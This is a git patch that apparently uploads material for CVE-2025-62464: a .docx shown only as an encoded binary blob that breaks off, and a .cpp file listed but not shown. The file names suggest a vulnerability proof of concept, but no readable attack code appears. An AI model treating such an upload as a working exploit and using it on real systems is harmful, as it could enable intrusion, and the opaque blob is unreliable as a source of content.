From 455c63743c46cb4855d130ee736d86a45a86ddc6 Mon Sep 17 00:00:00 2001 From: seasecresponse Date: Sat, 18 Jul 2026 18:54:03 +0000 Subject: [PATCH] Upload files to "CVE-2025-62464" --- CVE-2025-62464/PrjLeak23.docx | Bin 0 -> 60221 bytes CVE-2025-62464/PrjLeank23.cpp | 586 ++++++++++++++++++++++++++++++++++ 2 files changed, 586 insertions(+) create mode 100644 CVE-2025-62464/PrjLeak23.docx create mode 100644 CVE-2025-62464/PrjLeank23.cpp diff --git a/CVE-2025-62464/PrjLeak23.docx b/CVE-2025-62464/PrjLeak23.docx new file mode 100644 index 0000000000000000000000000000000000000000..46ec889d5841ec2a312244656cd8d3cdea114777 GIT binary patch literal 60221 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 z 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 